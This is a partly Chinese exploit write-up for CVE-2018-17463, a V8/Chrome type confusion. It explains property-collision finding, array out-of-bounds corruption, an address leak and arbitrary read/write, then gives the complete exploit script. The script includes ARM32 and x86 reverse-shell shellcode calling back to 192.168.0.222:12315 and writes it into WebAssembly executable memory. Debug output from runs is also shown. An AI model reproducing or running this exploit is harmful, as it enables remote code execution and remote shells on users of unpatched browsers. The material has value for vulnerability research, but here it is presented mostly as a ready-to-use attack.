1. CVE-2018-17463 Chrome OOB Exploit
1.1. 1.find collision
obj = { a: 0, x0: 0x4040, x1: 0x4101, x2: 0x4102, ... } badCreate { o.a this.Object.create(o) return 对象的 x1-xn的值 [o.x1, o.x2, ..., o.xn] }
如果 xn != 0x4100 + n 说明碰撞成功
例如循环N次中:
obj = { a: 0, x0: 0x4040, x1: 0x4101, ... } obj 经过badCreate 返回 [ 0x4040, // x0 0x4041, // x1 0x4042, // x2 0x4043, // x3 0x4044, // x4 0x4042, // x5 == obj.x2 0x4046, // x6 0x4047, // x7 0x4048, // x8 ... ]
找到了碰撞的两个值 分别为 x5 和 x2
假如原来 x5 = [obj + 0x10] 触发漏洞以后 x5 = [obj + 0x10] = x2的值
即内存相同偏移的数据改变了, 当我们要获取x5的值时, 其实拿到的是x2的值, 当要写入x5的值时, 其实写到的是x2的内存
1.2. 2.relative offsets
每次执行的碰撞值是不同的,如执行三次:
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc [+] x15 & x25 are collision in directory egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc [+] x21 & x8 are collision in directory egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc [+] x15 & x4 are collision in directory
在一次执行过程中,相同属性构造的Object,在DictionaryProperties中的偏移是相同的。
如获取一次碰撞数据之后,立即创建新的对象, 并将对象打印出来:
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc [+] x6 & x9 are collision in directory [!] set object base to 12340000 [0]: 49 [1]: 0 [2]: 128 [3]: 50 [4]: 0 [5]: x9 [6]: 12340009 [7]: 3008 [8]: x12 [9]: 12340012 ....
结果显示相同位置的 x6 数据和 x9 数据发生了碰撞,与前边寻找到的碰撞偏移结果相同。
1.3. 3.array oob
当前碰撞位置为数据,如果碰撞位置为对象的话,就可以通过写操作去修改对象属性
getCleanSpace() let oobArray = new Array(0x3) getCleanSpace() const oobArrayBuffer = new ArrayBuffer(0x2000) getCleanSpace() let oobObject = { a: 0x1111, b: 0x2222, c:0x3333 } getCleanSpace()
创建三个相邻对象,分别为 Array, ArrayBuffer, Object, 在内存中的布局(偏移通过调试获得):
----> Array ... +0xc: 00000006 length +0x14: 00000006 length ... ----> ArrayBuffer ... +0x10: 56c4b920 backing_store ... ----> Object ... +0xc: 00002222 #a +0x10: 00004444 #b +0x14: 00006666 #c ...
当我们碰撞的是 Array 和 Object 时, 我们修改 Object第一个值和第三个值, 相当于修改了 Array.length, 造成 Array 越界, 从而可以控制 ArrayBuffer.backing_store的指向,以及后边的Object对象
1.4. 4.leak object
oobArray越界之后, 找到 oobObject.a 在 oobArray 中的索引 index
之后通过 设置 oobObject.a = func 可以通过 oobArray[index] 泄漏 func 对象地址
1.5. 5.rw ability
oobArray越界之后, 找到 oobArrayBuffer.backing_store 在 oobArray 中的索引 index
之后通过 设置 oobArray[index] 来改变 oobArrayBuffer.backing_store 指向
最后通过 oobArrayBuffer 的 DataView 来进行读写操作
1.6. 6.shellcode
定义WebAssembly函数, 将 shellcode 覆盖导出函数,然后执行导出函数即可
写入位置为:
JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x]
1.7. 7.exe flow
egg@ubuntu:~/Working/cve-2018-17463$ ./runexp [+] CVE-2018-17463 exists in the d8 [+] x15 & x13 are collision in directory [*] ---------- array oob before ---------- * [*] fArray[3]: [0] 0x0: 0x40404040 [0] 0x4: 0x0 [1] 0x8: 0x41414141 [1] 0xc: 0x0 [2] 0x10: 0xdeadbeef [2] 0x14: 0x0 [+] 2459 times, oob Array Length: 3 -> 16 [*] ---------- array oob after ---------- * [*] fArray[16]: [0] 0x0: 0x40404040 [0] 0x4: 0x0 [1] 0x8: 0x41414141 [1] 0xc: 0x0 [2] 0x10: 0xdeadbeef [2] 0x14: 0x0 [3] 0x18: 0x4fe051b9 [3] 0x1c: 0x2a9846d1 [4] 0x20: 0x2a9846d1 [4] 0x24: 0x2000 [5] 0x28: 0x57007de0 [5] 0x2c: 0x2 [6] 0x30: 0x0 [6] 0x34: 0x0 [7] 0x38: 0x4fe09859 [7] 0x3c: 0x2a9846d1 [8] 0x40: 0x2a9846d1 [8] 0x44: 0x8282 [9] 0x48: 0x2a9841a5 [9] 0x4c: 0x12a [10] 0x50: 0x62 [10] 0x54: 0x2a985425 [11] 0x58: 0x3a894cd1 [11] 0x5c: 0x10c80 [12] 0x60: 0x2 [12] 0x64: 0x3592e38d [13] 0x68: 0x204c80 [13] 0x6c: 0x2 [14] 0x70: 0x3592e39d [14] 0x74: 0x400480 [15] 0x78: 0x2 [15] 0x7c: 0x3592e3ad [*] find index of oobArray... [*] to fixed backing_store index 4,1 [+] backing_store index in oobArray: 5,0 [+] object index in oobArray:8,1 the gay is lazy, nothing left. [*] WebAssembly function return: 0x41414141 [+] JSFunciton addr: 0x421a1145 [+] SharedFunctionInfo addr: 0x421a1121 [+] WasmExportedFunctionData addr: 0x421a110d [+] WasmInstanceObject addr: 0x421a1035 [+] imported_function_targets addr: 0x5700c170 [+] rwx_entry addr: 0x2252c4e0 [*] write shellcode at rwx_entry memory: 0x2252c4e0 [*] dangerous to run shellcode...
1.8. exploit32
/*CVE-2018-17463 Incorrect side effect annotation in V8 in Google Chrome prior to 70.0.3538.64 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. adb logcat | grep chromium */ /* ---------- utils ---------- start ---------- */ class Log { constructor(l, s=false){ this.level = l this.syntax = s this.lv = { debug: 0, warn: 1, success: 2, error: 3, } } setLevel(l) { this.level = l } toString(v, l) { var s = v if (v.__proto__ === Object.prototype || v.__proto__ === Array.prototype) { s = JSON.stringify( v/*, function replacer(k, v) { if (Math.floor(v) === v) { return '0x' + v.toString(16) } return v }*/ ) } switch(l) { case this.lv.debug: return '[*] ' + s break; case this.lv.warn: return '[!] ' + s break; case this.lv.success: return '[+] ' + s break; case this.lv.error: return '[-] ' + s break; default: return s } } debug(v) { if(this.lv.debug >= this.level ) { if (this.syntax) { eval(`;%DebugPrint(v);`) } else { console.log(this.toString(v, this.lv.debug)) } } } warn(v) { if(this.lv.warn >= this.level ) { console.log(this.toString(v, this.lv.warn)) } } success(v) { if(this.lv.success >= this.level ) { console.log(this.toString(v, this.lv.success)) } } error(v) { if(this.lv.error >= this.level ) { console.log(this.toString(v, this.lv.error)) } eval(` throw new Error() `) } break() { if (this.syntax) { eval(`;%SystemBreak();`) } } /* print float Array */ fArray(a, bs=8) { if (this.level > this.lv.debug) { return } if(bs === 4) { console.log('[*] uArray[' + a.length + ']:') for(let i = 0; i < a.length; i++) { console.log('\t[' + i + ']:\t+0x' + (i*bs).toString(16) + ':\t0x' + a[i].toString(16)) } } else if(bs === 8) { console.log('[*] fArray[' + a.length + ']:') for(let i = 0; i < a.length; i++) { const [lo, hi] = funcUtils.f2u(a[i]) console.log('\t[' + i + ']\t' + '0x' + (i*bs).toString(16) + ':\t0x' + lo.toString(16)) console.log('\t[' + i + ']\t' + '0x' + (i*bs+(bs/2)).toString(16) + ':\t0x' + hi.toString(16)) } } } } const dlog = new Log(0, false) const __EXPERI__ = false const __ANDROID__ = true var funcUtils = ( function() { return { f2u: function(v) { let f64 = new Float64Array(1) let u32 = new Uint32Array(f64.buffer) f64[0] = v return u32 }, u2f: function(lo, hi) { let f64 = new Float64Array(1) let u32 = new Uint32Array(f64.buffer) u32[0] = lo u32[1] = hi return f64 }, utf8ToString: function(h, p) { let s = "" for (i = p; h[i]; i++) { s += String.fromCharCode(h[i]) } return s }, /* find value index of float array if bs === 4: return [index, 0/1] if bs === 8: return [indxe, 0] */ fArrayIndexOf: function(a, v, bs=4) { for(let i = 0; i < a.length; i++) { if (bs === 8) { if (a[i] === v) return [i, 0] } else if (bs === 4) { const [lo, hi] = this.f2u(a[i]) // console.log('0x' + lo.toString(16) + ', 0x' + hi.toString(16)) if (lo === v) return [i, 0] if (hi === v) return [i, 1] } } return null }, getWasmFunc: function() { /* int hack(int x) { int ret = puts("the gay is lazy, nothing left."); return ret + x; } */ let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,104,97,99,107,0,1,10,143,128,128,128,0,1,137,128,128,128,0,0,65,16,16,0,32,0,106,11,11,165,128,128,128,0,1,0,65,16,11,31,116,104,101,32,103,97,121,32,105,115,32,108,97,122,121,44,32,110,111,116,104,105,110,103,32,108,101,102,116,46,0]) let wasmImports = { env: { puts: function puts (i32) { // console.log(i32) // console.log('the gay is lazy, nothing left.') console.log(funcUtils.utf8ToString(h, i32)) return 0x41414141 } } } let wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), wasmImports) let h = new Uint8Array(wasmInstance.exports.memory.buffer) return wasmInstance.exports.hack }, getWasmOff: function() { if (__ANDROID__) { // JSFunciton -> JS_TO_WASM_FUNCTION -> Instructions return [0x18, 0x40] } else { // JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x] return [0xc, 0x4, 0x8, 0x64, 0x0] } }, getShellCode: function() { if(__ANDROID__) { return [ /* arm32 reverse shell 192.168.0.222 12315 */ 0x02, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x00, 0x00, 0x50, 0xe3, 0x02, 0x00, 0x00, 0x0a, 0x00, 0x00, 0xa0, 0xe3, 0x01, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x42, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0xa0, 0xe3, 0x01, 0x10, 0xa0, 0xe3, 0x05, 0x20, 0x81, 0xe2, 0x01, 0x7c, 0xa0, 0xe3, 0x19, 0x70, 0x87, 0xe2, 0x00, 0x00, 0x00, 0xef, 0x00, 0x60, 0xa0, 0xe1, 0x6c, 0x10, 0x8f, 0xe2, 0x10, 0x20, 0xa0, 0xe3, 0x01, 0x7c, 0xa0, 0xe3, 0x1b, 0x70, 0x87, 0xe2, 0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1, 0x00, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1, 0x01, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1, 0x02, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x30, 0x00, 0x8f, 0xe2, 0x04, 0x40, 0x24, 0xe0, 0x10, 0x00, 0x2d, 0xe9, 0x36, 0x30, 0x8f, 0xe2, 0x08, 0x00, 0x2d, 0xe9, 0x0d, 0x20, 0xa0, 0xe1, 0x10, 0x00, 0x2d, 0xe9, 0x23, 0x40, 0x8f, 0xe2, 0x10, 0x00, 0x2d, 0xe9, 0x0d, 0x10, 0xa0, 0xe1, 0x0b, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x30, 0x1b, 0xc0, 0xa8, 0x00, 0xde, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x73, 0x68, 0x00, 0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x76, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x78, 0x62, 0x69, 0x6e, 0x00, 0x00, ] } else { return [ /* linux bash shell 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x89, 0xc1, 0x89, 0xc2, 0x6a, 0x0b, 0x58, 0xcd, 0x80, */ /* linux32 reverse shell 192.168.0.222 12315 */ 0x31, 0xc0, 0x89, 0xc3, 0x50, 0x6a, 0x01, 0x6a, 0x02, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd, 0x80, 0x43, 0x68, 0xc0, 0xa8, 0x00, 0xde, 0x66, 0x68, 0x30, 0x1b, 0x66, 0x53, 0x89, 0xe1, 0x6a, 0x10, 0x51, 0x50, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd, 0x80, 0x5b, 0x6a, 0x02, 0x59, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x79, 0xf9, 0x31, 0xc9, 0x31, 0xd2, 0x52, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x31, 0xc0, 0xb0, 0x0b, 0xcd, 0x80, ] } } } } )() function gc() { for(var i=0;i<(1024*1024)/16;i++){ var a = new String() } } function getCleanSpace() { gc() gc() gc() } /* ---------- utils ---------- end ---------- */ var fixedObject = ( function() { let name = 'x' let length = 0x30 let base = 41410000 return { new: function() { var obj = { a: 0 } for(let n = 0; n < length; n++) { eval(`obj.${name + n} = ${base + n};`) } return obj }, attr: function() { var arr = [] for (let n = 0; n < length; n++) { arr[n] = name + n } return arr }, init: function() { name = 'x' length = 0x30 base = 41410000 }, get: function(t) { switch (t) { case 'n': return name case 'l': return length case 'b': return base default: return '' } }, set: function(t, v) { switch (t) { case 'n': name = v break case 'l': length = v break case 'b': base = v break default: break } }, oob: function(X, Y, oa) { /* collision: X, Y oobArray: oa */ var obj = { a: 0 } const x = name for(let n = 0; n<length; n++) { if((x + n) == X) { eval(`obj.${X} = { x: { x1: 4141, x2:2, x3:3, x4:4, x5:5 } }`) } else if ((x + n) == Y) { eval(`obj.${Y} = { y: oa }`) } else { eval(`obj.${x + n} = {}`) } } return obj } } } )() function findCollision() { const attrs = fixedObject.attr() const base = fixedObject.get('b') const name = fixedObject.get('n') const len = fixedObject.get('l') // the Collision values for [x, y] var COVS = new Array(2) eval(` function badCreate(o){ o.a this.Object.create(o) ${attrs.map((v) => `let ${v} = o.${v};`).join('\n')} return [${attrs.join(', ')}]; } `) for (let i = 0; i < 10000; i++) { // get bad object attr values. let av = badCreate(fixedObject.new()) // dlog.debug(i + ': ' + av) for (let j = 0; j < av.length; j++) { if(av[j] != j + base && av[j] > base && av[j] < base + len ){ // dlog.debug(i + ': ' + av[j] + ' Array=> ' + av) COVS[0] = name + j COVS[1] = name + (av[j] - base) // dlog.success(COVS[0] + ' & ' + COVS[1] + " are collision in directory") dlog.break() if(__EXPERI__) { // debug to check Relative offset fixedObject.set('b', 12340000) dlog.warn('set object base to ' + fixedObject.get('b')) obj = fixedObject.new() av = badCreate(obj) fixedObject.print(av) } return COVS } } } dlog.error('collision not found!') return false } function oobArrayLength(cols, oobArray, oobLen){ /* cols: 碰撞的两个对象 oobArray: 需要修改长度的Array对象 */ const orgLen = oobArray.length const [X, Y] = cols eval(` function badCreate(o){ o.a this.Object.create(o) // let ret = o.${X}.x.x1 o.${X}.x.x1 = oobLen o.${X}.x.x3 = oobLen // return ret } `) for (let i = 0; i < 10000; i++) { // let ret = badCreate(fixedObject.oob(X, Y, oobArray)) // dlog.debug('[' + i + ']: ' + ret + ', length: ' + oobArray.length) // if(ret != 4141) { if(oobArray.length != orgLen) { dlog.success(i + ' times, oob Array Length: ' + orgLen + ' -> ' + oobArray.length) return oobArray.length } } dlog.error('oob Array Length failed!') } function checkVul(){ function badCreate(o) { o.a // = 0x10 Object.create(o) return o.b } for (let i = 0; i < 10000; i++) { let obj = { a: 0x1 } obj.b = 0x4141 obj.c = 0x3 obj.d = 0x4 obj.e = 0x5 // r = obj元素个数 const r = badCreate(obj) // console.log(i + ' bad.b=0x' + r.toString(16)) if ( r !== 0x4141 ) { // dlog.success(i + ': ' + r + '!=' + obj.b) // console.log("CVE-2018-17463 exists in the d8") return true } } return false } function wasmFunc() { } function exploit() { if(checkVul()) { dlog.success('CVE-2018-17463 exists in the d8') } else { dlog.error('CVE-2018-17463 not exists in the d8') return false } getCleanSpace() let oobArray = new Array(0x3) oobArray[0] = 5.325793356e-315 // funcUtils.u2f(0x40404040, 0) oobArray[1] = 5.40900888e-315 // funcUtils.u2f(0x41414141, 0) oobArray[2] = 1.8457939563e-314 //funcUtils.u2f(0xdeadbeef, 0) getCleanSpace() let oobLen = 0x2000 let oobArrayBuffer = new ArrayBuffer(oobLen) getCleanSpace() let oobObj = { a: 0x4141 } getCleanSpace() const cols = findCollision() dlog.success(cols[0] + ' & ' + cols[1] + " are collision in directory") dlog.debug('---------- array oob before ---------- *') // dlog.debug(oobArray) dlog.fArray(oobArray) oobArrayLength(cols, oobArray, 0x10) dlog.debug('---------- array oob after ---------- *') // dlog.debug(oobArray) dlog.fArray(oobArray) /* uArray [*] fArray[16]: [0] 0x0: 0x40404040 [0] 0x4: 0x0 [1] 0x8: 0x41414141 [1] 0xc: 0x0 [2] 0x10: 0xdeadbeef [2] 0x14: 0x0 [3] 0x18: 0x28b04101 [3] 0x1c: 0x30 [4] 0x20: 0x25399731 [4] 0x24: 0xcccccccc [5] 0x28: 0xcccccccc [5] 0x2c: 0xcccccccc [6] 0x30: 0x50e851b9 [6] 0x34: 0x28b046d1 [7] 0x38: 0x28b046d1 [7] 0x3c: 0x2000 [8] 0x40: 0x57556db0 [8] 0x44: 0x2 [9] 0x48: 0x0 [9] 0x4c: 0x0 [10] 0x50: 0x50e89949 [10] 0x54: 0x28b046d1 [11] 0x58: 0x28b046d1 [11] 0x5c: 0x8282 [12] 0x60: 0x28b072e9 [12] 0x64: 0x3c585d6d [13] 0x68: 0x28b042ed [13] 0x6c: 0x0 [14] 0x70: 0x0 [14] 0x74: 0x28b042ed [15] 0x78: 0x4 [15] 0x7c: 0x28b042ed */ dlog.debug('find index of oobArray...') let backingStoreIndex = [] let objectIndex = [] // in release will 0x4000 let alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen) if (alIndex === null ) alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen*2) if (alIndex === null) { dlog.error('find backing_store index failde!') return false } else { dlog.debug('to fixed backing_store index ' + alIndex) } /* [5, 1] -> [6, 0] [5, 0] -> [5, 1] */ backingStoreIndex = [alIndex[0] + (alIndex[1]%2), (alIndex[1]+1)%2] dlog.success('backing_store index in oobArray: ' + backingStoreIndex) findV = oobObj.a * 2 objectIndex = funcUtils.fArrayIndexOf(oobArray, findV) dlog.success('object index in oobArray:' + objectIndex) function addrOf(obj) { /* read obj point by oobArray */ oobObj.a = obj const [index ,off] = objectIndex return funcUtils.f2u(oobArray[index])[off] } function unit32RW(address, type=1, value=0) { /* read/write value/array by oobArray.backing_store 1: read 2: write */ const [index ,off] = backingStoreIndex const [org0, org1] = funcUtils.f2u(oobArray[index]) let f64 = 0 if (off === 0) { [f64] = funcUtils.u2f(address, org1) } else if (off === 1) { [f64] = funcUtils.u2f(org0, address) } oobArray[index] = f64 // dlog.fArray(oobArray) var dv = new DataView(oobArrayBuffer) if(type === 1) { return dv.getUint32(0, true) } else if (type === 2) { if (value.__proto__ === Array.prototype) { for(let i = 0; i < value.length; i++) { dv.setUint32(i, value[i], true) } } else if (value.__proto__ === Number.prototype) { dv.setUint32(0, value, true) } } } const f = funcUtils.getWasmFunc() dlog.debug('WebAssembly function return: 0x' + f().toString(16)) const JSFunciton = addrOf(f) dlog.success('JSFunciton addr: 0x' + JSFunciton.toString(16)) let wasmOff = funcUtils.getWasmOff() let rwx_entry = 0 if (__ANDROID__) { const js2WasmCode = unit32RW(JSFunciton-1 + wasmOff[0]) dlog.success('JS_TO_WASM_FUNCTION addr: 0x' + js2WasmCode.toString(16)) const js2WasmIns = js2WasmCode-1 + wasmOff[1] dlog.success('Instructions addr: 0x' + js2WasmIns.toString(16)) rwx_entry = js2WasmIns } else { const SharedFunctionInfo = unit32RW(JSFunciton-1 + wasmOff[0]) if(SharedFunctionInfo === 0) dlog.error('SharedFunctionInfo = 0') dlog.success('SharedFunctionInfo addr: 0x' + SharedFunctionInfo.toString(16)) const WasmExportedFunctionData = unit32RW(SharedFunctionInfo-1 + wasmOff[1]) if(WasmExportedFunctionData === 0) dlog.error('WasmExportedFunctionData = 0') dlog.success('WasmExportedFunctionData addr: 0x' + WasmExportedFunctionData.toString(16)) const WasmInstanceObject = unit32RW(WasmExportedFunctionData-1 + wasmOff[2]) if(WasmInstanceObject === 0) dlog.error('WasmInstanceObject = 0') dlog.success('WasmInstanceObject addr: 0x' + WasmInstanceObject.toString(16)) let imported_function_targets = unit32RW(WasmInstanceObject-1 + wasmOff[3]) if(imported_function_targets === 0) dlog.error('imported_function_targets = 0') dlog.success('imported_function_targets addr: 0x' + imported_function_targets.toString(16)) /* if(true) { let rv = 0 for(let i = 0; i < 0x10; i++) { rv = unit32RW(imported_function_targets + i * 4) dlog.debug('imported_function_targets + 0x' + (i*4).toString(16) + ': 0x' + rv.toString(16)) } } */ rwx_entry = unit32RW(imported_function_targets + wasmOff[4]) } if(rwx_entry === 0) dlog.error('rwx_entry = 0') dlog.success('rwx_entry addr: 0x' + rwx_entry.toString(16)) dlog.debug('write shellcode at rwx_entry memory: 0x' + rwx_entry.toString(16)) let shellcode = funcUtils.getShellCode() unit32RW(rwx_entry, 2, shellcode) dlog.debug('dangerous to run shellcode...') f() } exploit()
Created: 2019-03-02 Thu 15:11